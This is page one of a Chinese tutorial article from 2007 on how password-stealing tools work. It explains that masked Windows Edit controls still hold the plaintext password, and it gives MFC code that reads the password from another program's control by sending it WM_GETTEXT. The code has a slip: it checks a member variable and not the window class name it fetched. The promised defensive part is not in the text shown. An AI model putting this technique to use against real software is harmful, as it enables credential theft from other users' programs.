网络安全>黑客病毒安全防范安全产品教程恶意软件|产品中心群乐下载Vista频道体验最新杀毒软件IBM RBDE概览
您现在的位置: 天极网 > 软件频道 > 网络安全频道 > 黑客入门:密码盗取的原理及防范
全文

黑客入门:密码盗取的原理及防范

2007-01-09 10:33作者:出处:天极博客责任编辑:卢林嘉

网页制作素材

  本文的方法仅针对VC程序,对于其他语言如VB、Delphi等语言,需要借助VC做一个Password的ActiveX控件,实现方法与本文方法基本类似。

  一、非法获取Password的原理:

  Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这个特性,当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时,则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息,这样Edit框中的内容就一目了然了。

  二、黑客软件工作方法

  首先要取得当前的窗口,并判断是否是Edit控件,一般多通过鼠标来指定要探测的窗口,例如在WM_MOUSEMOVE消息的响应函数中进行判断,现列举代码片段如下:

  //将客户坐标转换成屏幕坐标

  ClientToScreen(&point);

  //返回一个包含指定屏幕坐标点的窗口

  CWnd* pWnd = CWnd::WindowFromPoint(point);

  if (pWnd)

  {

  //获取窗口句柄

  HWND hwndCurr = pWnd->GetSafeHwnd();

  if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) != (::GetWindowThreadProcessId (hwndCurr, NULL)))

  { [page] char lpClassName[255];

  //获取类名

  if (::GetClassName(hwndCurr, lpClassName, 255))

  {

  //判断是否是Edit控件

  if (0 == m_strWndClass.CompareNoCase("EDIT"))

  {

  //获取窗口风格

  LONG lStyle = ::GetWindowLong(hwndCurr, GWL_STYLE);

  //如果设置了ES_PASSWORD属性

  if (lStyle &ES_PASSWORD)

  {

  char szText[255];

  //通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息

  ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText); //密码已保存在szText中

  m_strPassword = szText;

  }

  }

  }

  }

  }

  上述代码中值得注意的有以下几个关键地方:

  ClientToScreen(&point);

  CWnd* pWnd = CWnd::WindowFromPoint(point);

  HWND hwndCurr = pWnd->GetSafeHwnd();

  这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。

  ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);

  这便是真正起作用的SendMessage了,其第一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。

共2页。 1 2 :
相关搜索:
关注此文读者还看过
热门关注
特别推荐
文章排行
本周
本月
最近更新
关于我们|网站律师|天极服务|电子杂志|RSS订阅|加入我们|网站地图
TMG
Copyright (C) 1999-2008 Chinabyte.com, All Rights Reserved 版权所有 天极网络
商务联系、网站内容、合作建议:010-82657868
版权声明 在线提交意见反馈 Powered by 天极内容管理平台CMS4i
经营性网站备案信息 网警备案 中国网站排名
天极传媒:天极网|比特网|IT专家网|IT商网|52PK游戏网|IT分众-网站地图